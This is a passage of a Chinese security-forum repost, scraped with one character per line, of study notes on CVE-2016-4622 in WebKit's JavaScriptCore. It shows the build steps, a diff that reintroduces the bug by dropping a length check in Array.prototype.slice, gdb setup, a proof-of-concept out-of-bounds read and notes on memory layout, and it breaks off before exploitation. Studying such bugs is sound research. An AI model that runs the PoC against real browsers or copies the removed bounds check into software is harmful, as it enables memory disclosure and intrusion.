论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
云安全
[19596] 2020-04-07_CVE-2016-4622Webkitslice学习笔记
文档创建者:
s7ckTeam
浏览次数:
4
最后更新:
2025-01-18
云安全
4 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-04-07_CVE-2016-4622Webkitslice学习笔记
C
V
E
-
2
0
1
6
-
4
6
2
2
W
e
b
k
i
t
s
l
i
c
e
学
习
笔
记
原
创
P
w
n
R
a
b
b
1
t
i
春
秋
2
0
2
0
-
0
4
-
0
7
清
明
节
后
,
很
多
企
业
陆
续
都
复
工
了
,
各
位
学
习
安
全
技
能
的
小
伙
伴
也
要
按
部
就
班
的
完
成
学
习
规
划
啦
~
今
天
的
文
章
分
享
是
i
春
秋
论
坛
作
者
P
w
n
R
a
b
b
1
t
原
创
的
文
章
,
关
于
C
V
E
-
2
0
1
6
-
4
6
2
2
W
e
b
k
i
t
s
l
i
c
e
的
一
篇
学
习
笔
记
,
文
章
篇
幅
较
长
,
阅
读
约
1
5
分
钟
,
文
章
未
经
许
可
禁
止
转
载
!
在
f
i
r
e
s
h
e
l
l
2
0
2
0
之
前
的
时
候
遇
到
了
很
多
w
e
b
k
i
t
的
p
w
n
题
,
发
现
w
e
b
k
i
t
还
可
以
在
u
b
u
n
t
u
上
编
译
,
于
是
燃
起
了
学
习
欲
望
,
决
定
研
究
一
下
w
e
b
k
i
t
的
漏
洞
利
用
。
在
学
习
w
e
b
k
i
t
之
前
,
需
要
看
s
a
e
l
o
关
于
c
v
e
-
2
0
1
6
-
4
6
2
2
利
用
的
文
章
,
这
篇
文
章
记
录
了
自
己
的
学
习
过
程
,
网
上
对
这
个
c
v
e
也
有
很
多
的
分
析
,
所
以
一
些
比
较
基
础
的
知
识
点
会
适
当
省
略
,
如
若
文
章
中
出
现
理
解
有
误
的
地
方
望
大
佬
批
评
指
正
。
环
境
搭
建
环
境
搭
建
文
章
涉
及
的
环
境
配
置
如
下
:
w
e
b
k
i
t
在
g
i
t
h
u
b
上
有
对
应
的
副
本
,
可
以
直
接
g
i
t
c
l
o
n
e
下
来
,
然
后
c
h
e
c
k
o
u
t
到
我
们
使
用
的
版
本
3
a
f
5
c
e
1
2
9
e
6
6
3
6
3
5
0
a
8
8
7
d
0
1
2
3
7
a
6
5
c
2
f
c
e
7
7
8
2
3
。
编
译
只
要
两
行
命
令
(
在
u
b
u
n
t
u
1
8
0
4
上
编
译
没
有
遇
到
什
么
错
误
)
编
译
大
概
1
0
多
分
钟
,
然
后
在
W
e
b
K
i
t
B
u
i
l
d
/
D
e
b
u
g
/
b
i
n
/
j
s
c
下
找
到
可
执
行
文
件
。
c
v
e
-
2
0
1
6
-
0
6
2
2
是
好
多
年
前
的
洞
了
,
有
漏
洞
的
分
支
在
u
b
u
n
t
u
1
8
0
4
上
编
译
不
了
,
我
们
使
用
的
分
支
是
1
8
年
的
,
要
得
到
有
漏
洞
的
程
序
,
我
们
需
要
手
动
打
一
下
p
a
t
c
h
。
u
b
u
n
t
u
1
8
.
0
4
虚
拟
机
w
e
b
k
i
t
(
3
a
f
5
c
e
1
2
9
e
6
6
3
6
3
5
0
a
8
8
7
d
0
1
2
3
7
a
6
5
c
2
f
c
e
7
7
8
2
3
)
g
d
b
(
p
w
n
d
b
g
插
件
)
,
l
l
d
b
g
i
t
c
l
o
n
e
-
-
d
e
p
t
h
=
1
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
W
e
b
K
i
t
/
w
e
b
k
i
t
g
i
t
f
e
t
c
h
-
-
u
n
s
h
a
l
l
o
w
T
o
o
l
s
/
g
t
k
/
i
n
s
t
a
l
l
-
d
e
p
e
n
d
e
n
c
i
e
s
T
o
o
l
s
/
S
c
r
i
p
t
s
/
b
u
i
l
d
-
w
e
b
k
i
t
-
-
j
s
c
-
o
n
l
y
-
-
d
e
b
u
g
╰
─
○
.
/
D
e
b
u
g
/
b
i
n
/
j
s
c
>
>
>
1
+
1
2
>
>
>
a
=
[
1
.
1
]
1
.
1
>
>
>
d
e
s
c
r
i
b
e
(
a
)
O
b
j
e
c
t
:
0
x
7
f
f
f
a
f
4
b
4
3
4
0
w
i
t
h
b
u
t
t
e
r
f
l
y
0
x
7
f
e
0
0
0
0
e
4
0
0
8
(
S
t
r
u
c
t
u
r
e
0
x
7
f
f
f
a
f
4
f
2
a
7
0
:
[
A
r
r
a
y
,
{
}
,
>
>
>
然
后
是
调
试
环
境
,
我
这
里
用
的
是
g
d
b
,
你
可
以
在
w
e
b
k
i
t
的
T
o
o
l
s
/
g
d
b
目
录
下
找
到
一
个
P
y
t
h
o
n
脚
本
,
在
g
d
b
i
n
i
t
上
导
入
它
你
就
可
以
正
常
的
调
试
j
s
c
了
。
跟
d
8
类
似
,
j
s
c
可
以
用
d
e
s
c
r
i
b
e
函
数
来
打
印
出
对
象
的
内
存
信
息
(
d
8
中
的
%
D
e
b
u
g
P
r
i
n
t
)
,
但
是
它
没
有
类
似
d
8
%
S
y
s
t
e
m
B
r
e
a
k
的
断
点
函
数
,
这
里
我
用
r
e
a
d
l
i
n
e
(
)
函
数
代
替
,
可
以
让
程
序
停
下
来
,
然
后
查
看
内
存
。
d
i
f
f
-
-
g
i
t
a
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
A
r
r
a
y
P
r
o
t
o
t
y
p
e
.
c
p
p
b
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
A
r
r
a
y
P
r
o
t
o
t
y
p
e
.
c
p
p
i
n
d
e
x
c
3
7
3
8
9
a
a
8
5
7
.
.
f
7
7
8
2
1
c
8
9
a
e
1
0
0
6
4
4
-
-
-
a
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
A
r
r
a
y
P
r
o
t
o
t
y
p
e
.
c
p
p
+
+
+
b
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
A
r
r
a
y
P
r
o
t
o
t
y
p
e
.
c
p
p
@
@
-
9
7
3
,
7
+
9
7
3
,
7
@
@
E
n
c
o
d
e
d
J
S
V
a
l
u
e
J
S
C
_
H
O
S
T
_
C
A
L
L
a
r
r
a
y
P
r
o
t
o
F
u
n
c
S
l
i
c
e
(
E
x
e
c
S
t
a
t
e
*
e
x
e
c
)
i
f
(
U
N
L
I
K
E
L
Y
(
s
p
e
c
i
e
s
R
e
s
u
l
t
.
f
i
r
s
t
=
=
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
:
:
E
x
c
e
p
t
i
o
n
)
)
r
e
t
u
r
n
{
}
;
-
b
o
o
l
o
k
T
o
D
o
F
a
s
t
P
a
t
h
=
s
p
e
c
i
e
s
R
e
s
u
l
t
.
f
i
r
s
t
=
=
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
:
:
F
a
s
t
P
a
t
h
&
&
i
s
J
S
A
r
r
a
y
(
t
h
i
s
O
b
j
)
&
&
l
e
n
g
t
h
=
=
t
o
L
e
n
g
t
h
(
e
x
e
c
,
t
h
i
s
O
b
j
)
;
+
b
o
o
l
o
k
T
o
D
o
F
a
s
t
P
a
t
h
=
s
p
e
c
i
e
s
R
e
s
u
l
t
.
f
i
r
s
t
=
=
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
:
:
F
a
s
t
P
a
t
h
&
&
i
s
J
S
A
r
r
a
y
(
t
h
i
s
O
b
j
)
;
R
E
T
U
R
N
_
I
F
_
E
X
C
E
P
T
I
O
N
(
s
c
o
p
e
,
{
}
)
;
i
f
(
L
I
K
E
L
Y
(
o
k
T
o
D
o
F
a
s
t
P
a
t
h
)
)
{
i
f
(
J
S
A
r
r
a
y
*
r
e
s
u
l
t
=
a
s
A
r
r
a
y
(
t
h
i
s
O
b
j
)
-
>
f
a
s
t
S
l
i
c
e
(
*
e
x
e
c
,
b
e
g
i
n
,
e
n
d
-
b
e
g
i
n
)
)
d
i
f
f
-
-
g
i
t
a
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
O
b
j
e
c
t
I
n
i
t
i
a
l
i
z
a
t
i
o
n
S
c
o
p
e
.
c
p
p
b
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
O
b
j
e
c
t
I
n
i
t
i
a
l
i
z
a
t
i
o
n
S
c
o
p
e
.
c
p
p
i
n
d
e
x
e
1
9
c
8
a
9
2
a
4
e
.
.
5
5
0
b
c
2
f
e
2
7
0
1
0
0
6
4
4
-
-
-
a
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
O
b
j
e
c
t
I
n
i
t
i
a
l
i
z
a
t
i
o
n
S
c
o
p
e
.
c
p
p
+
+
+
b
/
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
O
b
j
e
c
t
I
n
i
t
i
a
l
i
z
a
t
i
o
n
S
c
o
p
e
.
c
p
p
@
@
-
4
4
,
7
+
4
4
,
7
@
@
O
b
j
e
c
t
I
n
i
t
i
a
l
i
z
a
t
i
o
n
S
c
o
p
e
:
:
~
O
b
j
e
c
t
I
n
i
t
i
a
l
i
z
a
t
i
o
n
S
c
o
p
e
(
)
{
i
f
(
!
m
_
o
b
j
e
c
t
)
r
e
t
u
r
n
;
-
v
e
r
i
f
y
P
r
o
p
e
r
t
i
e
s
A
r
e
I
n
i
t
i
a
l
i
z
e
d
(
m
_
o
b
j
e
c
t
)
;
+
/
/
v
e
r
i
f
y
P
r
o
p
e
r
t
i
e
s
A
r
e
I
n
i
t
i
a
l
i
z
e
d
(
m
_
o
b
j
e
c
t
)
;
}
v
o
i
d
O
b
j
e
c
t
I
n
i
t
i
a
l
i
z
a
t
i
o
n
S
c
o
p
e
:
:
n
o
t
i
f
y
A
l
l
o
c
a
t
e
d
(
J
S
O
b
j
e
c
t
*
o
b
j
e
c
t
,
b
o
o
l
w
a
s
C
r
e
a
t
e
d
U
n
i
n
i
t
i
a
l
i
z
e
d
)
p
y
t
h
o
n
i
m
p
o
r
t
s
y
s
s
y
s
.
p
a
t
h
.
i
n
s
e
r
t
(
0
,
"
/
w
e
b
k
i
t
/
w
e
b
k
i
t
/
T
o
o
l
s
/
g
d
b
"
)
i
m
p
o
r
t
w
e
b
k
i
t
漏
洞
漏
洞
分
析
分
析
下
面
是
c
v
e
的
p
o
c
,
执
行
之
后
得
到
的
是
一
堆
的
浮
点
数
,
b
是
a
.
s
l
i
c
e
出
来
的
,
v
a
l
u
e
O
f
的
返
回
值
是
1
0
,
相
当
于
是
b
=
a
.
s
l
i
c
e
(
0
,
1
0
)
这
样
,
但
是
这
个
操
作
是
在
v
a
l
u
e
O
f
里
面
a
.
l
e
n
g
t
h
=
0
执
行
之
后
做
的
,
这
样
s
l
i
c
e
之
后
就
是
一
个
数
组
越
界
了
。
但
是
为
什
么
会
这
样
呢
?
我
们
给
原
始
码
的
p
a
t
c
h
去
掉
了
a
r
r
a
y
P
r
o
t
o
F
u
n
c
S
l
i
c
e
函
数
的
l
e
n
g
t
h
=
=
t
o
L
e
n
g
t
h
(
e
x
e
c
,
t
h
i
s
O
b
j
)
检
查
,
它
对
应
的
数
组
类
型
的
s
l
i
c
e
函
数
,
继
承
如
下
,
对
应
我
们
的
p
o
c
。
R
e
a
d
i
n
g
s
y
m
b
o
l
s
f
r
o
m
.
/
D
e
b
u
g
/
b
i
n
/
j
s
c
.
.
.
d
o
n
e
.
p
w
n
d
b
g
>
r
S
t
a
r
t
i
n
g
p
r
o
g
r
a
m
:
/
w
e
b
k
i
t
/
w
e
b
k
i
t
/
W
e
b
K
i
t
B
u
i
l
d
/
D
e
b
u
g
/
b
i
n
/
j
s
c
[
T
h
r
e
a
d
d
e
b
u
g
g
i
n
g
u
s
i
n
g
l
i
b
t
h
r
e
a
d
_
d
b
e
n
a
b
l
e
d
]
U
s
i
n
g
h
o
s
t
l
i
b
t
h
r
e
a
d
_
d
b
l
i
b
r
a
r
y
"
/
l
i
b
/
x
8
6
_
6
4
-
l
i
n
u
x
-
g
n
u
/
l
i
b
t
h
r
e
a
d
_
d
b
.
s
o
.
1
"
.
[
N
e
w
T
h
r
e
a
d
0
x
7
f
f
f
f
0
7
8
1
7
0
0
(
L
W
P
3
3
9
1
6
)
]
>
>
>
a
=
[
1
.
1
]
1
.
1
>
>
>
d
e
s
c
r
i
b
e
(
a
)
O
b
j
e
c
t
:
0
x
7
f
f
f
a
f
4
b
4
3
4
0
w
i
t
h
b
u
t
t
e
r
f
l
y
0
x
7
f
e
0
0
0
0
e
4
0
0
8
(
S
t
r
u
c
t
u
r
e
0
x
7
f
f
f
a
f
4
f
2
a
7
0
:
[
A
r
r
a
y
,
{
}
,
A
r
r
a
y
W
i
t
h
D
o
u
b
l
e
,
P
r
o
t
o
:
>
>
>
v
a
r
a
=
[
]
;
f
o
r
(
v
a
r
i
=
0
;
i
<
1
0
0
;
i
+
+
)
a
.
p
u
s
h
(
i
+
0
.
1
2
3
)
;
v
a
r
b
=
a
.
s
l
i
c
e
(
0
,
{
v
a
l
u
e
O
f
:
f
u
n
c
t
i
o
n
(
)
{
a
.
l
e
n
g
t
h
=
0
;
r
e
t
u
r
n
1
0
;
}
}
)
;
p
r
i
n
t
(
b
)
;
/
/
0
.
1
2
3
,
1
.
1
2
3
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
,
1
.
5
4
8
8
8
3
8
0
7
8
e
-
3
1
4
E
n
c
o
d
e
d
J
S
V
a
l
u
e
J
S
C
_
H
O
S
T
_
C
A
L
L
a
r
r
a
y
P
r
o
t
o
F
u
n
c
S
l
i
c
e
(
E
x
e
c
S
t
a
t
e
*
e
x
e
c
)
{
/
/
h
t
t
p
s
:
/
/
t
c
3
9
.
g
i
t
h
u
b
.
i
o
/
e
c
m
a
2
6
2
/
#
s
e
c
-
a
r
r
a
y
.
p
r
o
t
o
t
y
p
e
.
s
l
i
c
e
V
M
&
v
m
=
e
x
e
c
-
>
v
m
(
)
;
a
u
t
o
s
c
o
p
e
=
D
E
C
L
A
R
E
_
T
H
R
O
W
_
S
C
O
P
E
(
v
m
)
;
J
S
O
b
j
e
c
t
*
t
h
i
s
O
b
j
=
e
x
e
c
-
>
t
h
i
s
V
a
l
u
e
(
)
.
t
o
T
h
i
s
(
e
x
e
c
,
S
t
r
i
c
t
M
o
d
e
)
.
t
o
O
b
j
e
c
t
(
e
x
e
c
)
;
E
X
C
E
P
T
I
O
N
_
A
S
S
E
R
T
(
!
!
s
c
o
p
e
.
e
x
c
e
p
t
i
o
n
(
)
=
=
!
t
h
i
s
O
b
j
)
;
i
f
(
U
N
L
I
K
E
L
Y
(
!
t
h
i
s
O
b
j
)
)
r
e
t
u
r
n
{
}
;
/
/
获
取
a
r
r
a
y
的
长
度
,
这
里
a
.
l
e
n
g
t
h
=
=
1
0
0
u
n
s
i
g
n
e
d
l
e
n
g
t
h
=
t
o
L
e
n
g
t
h
(
e
x
e
c
,
t
h
i
s
O
b
j
)
;
R
E
T
U
R
N
_
I
F
_
E
X
C
E
P
T
I
O
N
(
s
c
o
p
e
,
{
}
)
;
/
/
s
l
i
c
e
获
取
s
l
i
c
e
函
数
的
b
e
g
i
n
和
e
n
d
,
这
里
分
别
是
0
,
1
0
u
n
s
i
g
n
e
d
b
e
g
i
n
=
a
r
g
u
m
e
n
t
C
l
a
m
p
e
d
I
n
d
e
x
F
r
o
m
S
t
a
r
t
O
r
E
n
d
(
e
x
e
c
,
0
,
l
e
n
g
t
h
)
;
R
E
T
U
R
N
_
I
F
_
E
X
C
E
P
T
I
O
N
(
s
c
o
p
e
,
{
}
)
;
u
n
s
i
g
n
e
d
e
n
d
=
a
r
g
u
m
e
n
t
C
l
a
m
p
e
d
I
n
d
e
x
F
r
o
m
S
t
a
r
t
O
r
E
n
d
(
e
x
e
c
,
1
,
l
e
n
g
t
h
,
l
e
n
g
t
h
)
;
R
E
T
U
R
N
_
I
F
_
E
X
C
E
P
T
I
O
N
(
s
c
o
p
e
,
{
}
)
;
i
f
(
e
n
d
<
b
e
g
i
n
)
e
n
d
=
b
e
g
i
n
;
s
t
d
:
:
p
a
i
r
<
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
,
J
S
O
b
j
e
c
t
*
>
s
p
e
c
i
e
s
R
e
s
u
l
t
=
s
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
A
r
r
a
y
(
e
x
e
c
,
t
h
i
s
O
b
j
,
e
n
d
-
b
e
g
i
n
)
;
/
/
W
e
c
a
n
o
n
l
y
g
e
t
a
n
e
x
c
e
p
t
i
o
n
i
f
w
e
c
a
l
l
s
o
m
e
u
s
e
r
f
u
n
c
t
i
o
n
.
E
X
C
E
P
T
I
O
N
_
A
S
S
E
R
T
(
!
!
s
c
o
p
e
.
e
x
c
e
p
t
i
o
n
(
)
=
=
(
s
p
e
c
i
e
s
R
e
s
u
l
t
.
f
i
r
s
t
=
=
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
:
:
E
x
c
e
p
t
i
o
n
)
)
;
i
f
(
U
N
L
I
K
E
L
Y
(
s
p
e
c
i
e
s
R
e
s
u
l
t
.
f
i
r
s
t
=
=
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
:
:
E
x
c
e
p
t
i
o
n
)
)
r
e
t
u
r
n
{
}
;
/
/
b
o
o
l
o
k
T
o
D
o
F
a
s
t
P
a
t
h
=
s
p
e
c
i
e
s
R
e
s
u
l
t
.
f
i
r
s
t
=
=
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
:
:
F
a
s
t
P
a
t
h
&
&
i
s
J
S
A
r
r
a
y
(
t
h
i
s
O
b
j
)
&
&
l
e
n
g
t
h
=
=
t
o
L
e
n
g
t
h
(
e
x
e
c
,
t
h
i
s
O
b
j
)
;
b
o
o
l
o
k
T
o
D
o
F
a
s
t
P
a
t
h
=
s
p
e
c
i
e
s
R
e
s
u
l
t
.
f
i
r
s
t
=
=
S
p
e
c
i
e
s
C
o
n
s
t
r
u
c
t
R
e
s
u
l
t
:
:
F
a
s
t
P
a
t
h
&
&
i
s
J
S
A
r
r
a
y
(
t
h
i
s
O
b
j
)
;
i
f
(
L
I
K
E
L
Y
(
o
k
T
o
D
o
F
a
s
t
P
a
t
h
)
)
{
i
f
(
J
S
A
r
r
a
y
*
r
e
s
u
l
t
=
a
s
A
r
r
a
y
(
t
h
i
s
O
b
j
)
-
>
f
a
s
t
S
l
i
c
e
(
*
e
x
e
c
,
b
e
g
i
n
,
e
n
d
-
b
e
g
i
n
)
)
r
e
t
u
r
n
J
S
V
a
l
u
e
:
:
e
n
c
o
d
e
(
r
e
s
u
l
t
)
;
}
/
/
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
s
t
a
t
i
c
i
n
l
i
n
e
u
n
s
i
g
n
e
d
a
r
g
u
m
e
n
t
C
l
a
m
p
e
d
I
n
d
e
x
F
r
o
m
S
t
a
r
t
O
r
E
n
d
(
E
x
e
c
S
t
a
t
e
*
e
x
e
c
,
i
n
t
a
r
g
u
m
e
n
t
,
u
n
s
i
g
n
e
d
l
e
n
g
t
h
,
{
J
S
V
a
l
u
e
v
a
l
u
e
=
e
x
e
c
-
>
a
r
g
u
m
e
n
t
(
a
r
g
u
m
e
n
t
)
;
i
f
(
v
a
l
u
e
.
i
s
U
n
d
e
f
i
n
e
d
(
)
)
r
e
t
u
r
n
u
n
d
e
f
i
n
e
d
V
a
l
u
e
;
在
获
取
s
l
i
c
e
的
e
n
d
参
数
的
时
候
,
会
先
执
行
v
a
l
u
e
O
f
里
面
的
内
容
,
这
里
是
a
.
l
e
n
g
t
h
=
0
;
,
于
是
J
S
C
:
:
J
S
A
r
r
a
y
:
:
s
e
t
L
e
n
g
t
h
函
数
会
被
调
用
,
如
果
原
来
的
数
组
长
度
大
于
6
4
,
它
会
调
用
r
e
a
l
l
o
c
a
t
e
A
n
d
S
h
r
i
n
k
B
u
t
t
e
r
f
l
y
根
据
长
度
重
新
给
数
组
分
配
一
个
b
u
t
t
e
r
f
l
y
。
那
么
p
o
c
的
v
a
l
u
e
O
f
执
行
完
之
后
,
a
就
分
配
到
了
一
个
更
小
的
内
存
里
面
了
,
然
后
的
a
.
l
e
n
g
t
h
=
0
,
接
着
a
r
r
a
y
P
r
o
t
o
F
u
n
c
S
l
i
c
e
会
调
用
J
S
C
:
:
J
S
A
r
r
a
y
:
:
f
a
s
t
S
l
i
c
e
(
f
a
s
t
S
l
i
c
e
不
会
检
查
a
r
r
a
y
的
l
e
n
g
t
h
)
把
原
来
a
[
0
,
1
0
]
的
内
存
复
制
到
b
里
面
,
于
是
就
有
了
数
组
越
界
了
。
r
e
t
u
r
n
u
n
d
e
f
i
n
e
d
V
a
l
u
e
;
d
o
u
b
l
e
i
n
d
e
x
D
o
u
b
l
e
=
v
a
l
u
e
.
t
o
I
n
t
e
g
e
r
(
e
x
e
c
)
;
i
f
(
i
n
d
e
x
D
o
u
b
l
e
<
0
)
{
i
n
d
e
x
D
o
u
b
l
e
+
=
l
e
n
g
t
h
;
r
e
t
u
r
n
i
n
d
e
x
D
o
u
b
l
e
<
0
?
0
:
s
t
a
t
i
c
_
c
a
s
t
<
u
n
s
i
g
n
e
d
>
(
i
n
d
e
x
D
o
u
b
l
e
)
;
}
r
e
t
u
r
n
i
n
d
e
x
D
o
u
b
l
e
>
l
e
n
g
t
h
?
l
e
n
g
t
h
:
s
t
a
t
i
c
_
c
a
s
t
<
u
n
s
i
g
n
e
d
>
(
i
n
d
e
x
D
o
u
b
l
e
)
;
}
b
o
o
l
J
S
A
r
r
a
y
:
:
s
e
t
L
e
n
g
t
h
(
E
x
e
c
S
t
a
t
e
*
e
x
e
c
,
u
n
s
i
g
n
e
d
n
e
w
L
e
n
g
t
h
,
b
o
o
l
t
h
r
o
w
E
x
c
e
p
t
i
o
n
)
{
V
M
&
v
m
=
e
x
e
c
-
>
v
m
(
)
;
a
u
t
o
s
c
o
p
e
=
D
E
C
L
A
R
E
_
T
H
R
O
W
_
S
C
O
P
E
(
v
m
)
;
B
u
t
t
e
r
f
l
y
*
b
u
t
t
e
r
f
l
y
=
t
h
i
s
-
>
b
u
t
t
e
r
f
l
y
(
)
;
s
w
i
t
c
h
(
i
n
d
e
x
i
n
g
M
o
d
e
(
)
)
{
/
/
.
.
.
c
a
s
e
A
r
r
a
y
W
i
t
h
U
n
d
e
c
i
d
e
d
:
c
a
s
e
A
r
r
a
y
W
i
t
h
I
n
t
3
2
:
c
a
s
e
A
r
r
a
y
W
i
t
h
D
o
u
b
l
e
:
c
a
s
e
A
r
r
a
y
W
i
t
h
C
o
n
t
i
g
u
o
u
s
:
{
i
f
(
n
e
w
L
e
n
g
t
h
=
=
b
u
t
t
e
r
f
l
y
-
>
p
u
b
l
i
c
L
e
n
g
t
h
(
)
)
r
e
t
u
r
n
t
r
u
e
;
i
f
(
n
e
w
L
e
n
g
t
h
>
M
A
X
_
S
T
O
R
A
G
E
_
V
E
C
T
O
R
_
L
E
N
G
T
H
/
/
T
h
i
s
c
h
e
c
k
e
n
s
u
r
e
s
t
h
a
t
w
e
c
a
n
d
o
f
a
s
t
p
u
s
h
.
|
|
(
n
e
w
L
e
n
g
t
h
>
=
M
I
N
_
S
P
A
R
S
E
_
A
R
R
A
Y
_
I
N
D
E
X
&
&
!
i
s
D
e
n
s
e
E
n
o
u
g
h
F
o
r
V
e
c
t
o
r
(
n
e
w
L
e
n
g
t
h
,
c
o
u
n
t
E
l
e
m
e
n
t
s
(
)
)
)
)
{
R
E
L
E
A
S
E
_
A
N
D
_
R
E
T
U
R
N
(
s
c
o
p
e
,
s
e
t
L
e
n
g
t
h
W
i
t
h
A
r
r
a
y
S
t
o
r
a
g
e
(
e
x
e
c
,
n
e
w
L
e
n
g
t
h
,
t
h
r
o
w
E
x
c
e
p
t
i
o
n
,
e
n
s
u
r
e
A
r
r
a
y
S
t
o
r
a
g
e
(
v
m
)
)
)
;
}
i
f
(
n
e
w
L
e
n
g
t
h
>
b
u
t
t
e
r
f
l
y
-
>
p
u
b
l
i
c
L
e
n
g
t
h
(
)
)
{
i
f
(
!
e
n
s
u
r
e
L
e
n
g
t
h
(
v
m
,
n
e
w
L
e
n
g
t
h
)
)
{
到
这
里
我
们
就
知
道
漏
洞
是
如
何
被
触
发
的
了
,
在
实
际
做
漏
洞
利
用
之
前
我
们
需
要
了
解
一
下
j
s
c
中
对
象
的
内
存
布
局
。
你
可
以
在
S
o
u
r
c
e
/
J
a
v
a
S
c
r
i
p
t
C
o
r
e
/
r
u
n
t
i
m
e
/
J
S
C
J
S
V
a
l
u
e
.
h
找
到
j
s
c
对
各
种
类
型
对
象
的
描
述
,
j
s
c
中
只
用
后
4
8
b
i
t
来
表
示
地
址
,
开
始
的
1
6
个
b
i
t
表
示
不
同
的
内
存
对
象
,
就
像
d
8
中
指
针
类
型
要
+
1
一
样
。
t
h
r
o
w
O
u
t
O
f
M
e
m
o
r
y
E
r
r
o
r
(
e
x
e
c
,
s
c
o
p
e
)
;
r
e
t
u
r
n
f
a
l
s
e
;
}
r
e
t
u
r
n
t
r
u
e
;
}
u
n
s
i
g
n
e
d
l
e
n
g
t
h
T
o
C
l
e
a
r
=
b
u
t
t
e
r
f
l
y
-
>
p
u
b
l
i
c
L
e
n
g
t
h
(
)
-
n
e
w
L
e
n
g
t
h
;
u
n
s
i
g
n
e
d
c
o
s
t
T
o
A
l
l
o
c
a
t
e
N
e
w
B
u
t
t
e
r
f
l
y
=
6
4
;
/
/
a
h
e
u
r
i
s
t
i
c
.
i
f
(
l
e
n
g
t
h
T
o
C
l
e
a
r
>
n
e
w
L
e
n
g
t
h
&
&
l
e
n
g
t
h
T
o
C
l
e
a
r
>
c
o
s
t
T
o
A
l
l
o
c
a
t
e
N
e
w
B
u
t
t
e
r
f
l
y
)
{
r
e
a
l
l
o
c
a
t
e
A
n
d
S
h
r
i
n
k
B
u
t
t
e
r
f
l
y
(
v
m
,
n
e
w
L
e
n
g
t
h
)
;
r
e
t
u
r
n
t
r
u
e
;
}
i
f
(
i
n
d
e
x
i
n
g
T
y
p
e
(
)
=
=
A
r
r
a
y
W
i
t
h
D
o
u
b
l
e
)
{
f
o
r
(
u
n
s
i
g
n
e
d
i
=
b
u
t
t
e
r
f
l
y
-
>
p
u
b
l
i
c
L
e
n
g
t
h
(
)
;
i
-
-
>
n
e
w
L
e
n
g
t
h
;
)
b
u
t
t
e
r
f
l
y
-
>
c
o
n
t
i
g
u
o
u
s
D
o
u
b
l
e
(
)
.
a
t
(
t
h
i
s
,
i
)
=
P
N
a
N
;
}
e
l
s
e
{
f
o
r
(
u
n
s
i
g
n
e
d
i
=
b
u
t
t
e
r
f
l
y
-
>
p
u
b
l
i
c
L
e
n
g
t
h
(
)
;
i
-
-
>
n
e
w
L
e
n
g
t
h
;
)
b
u
t
t
e
r
f
l
y
-
>
c
o
n
t
i
g
u
o
u
s
(
)
.
a
t
(
t
h
i
s
,
i
)
.
c
l
e
a
r
(
)
;
}
b
u
t
t
e
r
f
l
y
-
>
s
e
t
P
u
b
l
i
c
L
e
n
g
t
h
(
n
e
w
L
e
n
g
t
h
)
;
r
e
t
u
r
n
t
r
u
e
;
}
/
/
.
.
}
}
我
们
创
建
一
个
数
组
对
象
,
需
要
注
意
的
有
b
u
t
t
e
r
f
l
y
和
s
t
r
u
c
t
u
r
e
这
两
个
东
西
。
|
*
|
*
T
h
e
t
o
p
1
6
-
b
i
t
s
d
e
n
o
t
e
t
h
e
t
y
p
e
o
f
t
h
e
e
n
c
o
d
e
d
J
S
V
a
l
u
e
:
|
*
|
*
P
o
i
n
t
e
r
{
0
0
0
0
:
P
P
P
P
:
P
P
P
P
:
P
P
P
P
|
*
/
0
0
0
1
:
*
*
*
*
:
*
*
*
*
:
*
*
*
*
|
*
D
o
u
b
l
e
{
.
.
.
|
*
F
F
F
E
:
*
*
*
*
:
*
*
*
*
:
*
*
*
*
|
*
I
n
t
e
g
e
r
{
F
F
F
F
:
0
0
0
0
:
I
I
I
I
:
I
I
I
I
|
*
|
*
T
h
e
s
c
h
e
m
e
w
e
h
a
v
e
i
m
p
l
e
m
e
n
t
e
d
e
n
c
o
d
e
s
d
o
u
b
l
e
p
r
e
c
i
s
i
o
n
v
a
l
u
e
s
b
y
p
e
r
f
o
r
m
i
n
g
a
|
*
6
4
-
b
i
t
i
n
t
e
g
e
r
a
d
d
i
t
i
o
n
o
f
t
h
e
v
a
l
u
e
2
^
4
8
t
o
t
h
e
n
u
m
b
e
r
.
A
f
t
e
r
